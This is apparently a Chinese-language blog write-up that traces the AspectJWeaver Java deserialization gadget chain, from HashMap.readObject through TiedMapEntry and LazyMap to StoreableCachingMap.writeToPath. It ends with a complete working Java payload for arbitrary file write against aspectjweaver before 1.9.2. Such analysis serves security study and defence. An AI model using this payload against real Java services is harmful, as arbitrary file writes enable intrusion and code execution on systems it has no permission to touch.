AspectJWeaver 利用链分析

利用链如下:

1
2
3
4
5
6
7
8
9
10
Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

该利用链利用条件需要org.aspectj:aspectjweaver在1.9.2版本以下。触发点在SimpleCache$StorableCachingMap。这里我创建的是maven项目在pom.xml中添加:

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>

在org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类中我们可以看到该类为一个私有类,切继承HashMap,在该类中重写了父类的put方法。

image-20210223101253016

该类在重写的put方法中调用了一个writeToPath方法,而这个利用链就是通过这个方法进行的文件写入。

image-20210223101045501

在该方法中利用FileOutputStream写入文件,writeToPath接收的两个参数key为文件的路径,valueBytes则是写入到文件的内容。

image-20210223101732662

到这里思路就明确了。触发点在put函数,并且该类继承自HashMap,直接利用lazymap+TiedMapEntry去触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff

........

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

利用链序列化后的内容为一个HashMap,在反序列化的时候调用HashMap.readObject(),在这里调用hash(key)而key为TiedMapEntry从而调用TiedMapEntry.hashCode()

image-20210223112143365

这里调用了getValue()函数,跟进getValue()函数,进一步调用了this.map.get(this.key);方法。

image-20210223112429478

而TiedMapEntry中存放的map为lazymap,key就是传入的path,在lazymap.get(key)中调用了this.map.put(key)方法。此时的map为我们构造的StoreableCachingMap,而获取的value值为this.factory.transform(key); 也就是一开始我们通过new ConstantTransformer(content)传入的内容。ConstantTransformer设置了this.iConstant的变量,而这里的this.factory.transform(key)就是获取this.iConstant的值。

image-20210223112556146

image-20210223113515820

从而调用了StoreableCachingMap.put(path, content) –> this.writeToPath(path, content) 从而写入文件。

这里我直接用了HashMap去操作,修改值的时候需要便利,ysoserial中给的是使用HashSet.readObject去操作,原理都一样就是HashSet方便直接修改HashMap的值,而我这里需要遍历修改。

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
byte[] content = Base64.decode("YWhpaGloaQ==");
String path = "/tmp/1.txt";

Class aspectJWeaver = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor ctor = aspectJWeaver.getDeclaredConstructor(String.class, int.class);
ctor.setAccessible(true);
Object obj = ctor.newInstance("",2);

Transformer transformer = new ConstantTransformer(content);

Map lazyMap = LazyMap.decorate((Map)obj, transformer);

TiedMapEntry entry = new TiedMapEntry(lazyMap, path);

HashMap hashMap = new HashMap();
hashMap.put("foo", "a");

Field field = HashMap.class.getDeclaredField("table");
field.setAccessible(true);

Object[] array = (Object[]) field.get(hashMap);
int a = 0;
for(int i=0;i<array.length;i++)
if(array[i]!=null)
a=i;
Object node = array[a];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
ois.readObject();

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 					 ___ key: TiedMapEntry
HashMap---|
|___ value: (int)

___ key: lazymap
TiedMapEntry---|
|___ value: "/tmp/123.txt"

___ key: StoreableCachingMap
lazymap---|
|___ value: new ConstantTransformer("123")

StoreableCachingMap.put("/tmp/123.txt","123")

this.writeToPath("/tmp/123.txt","123".getBytes())

FileOutputStream()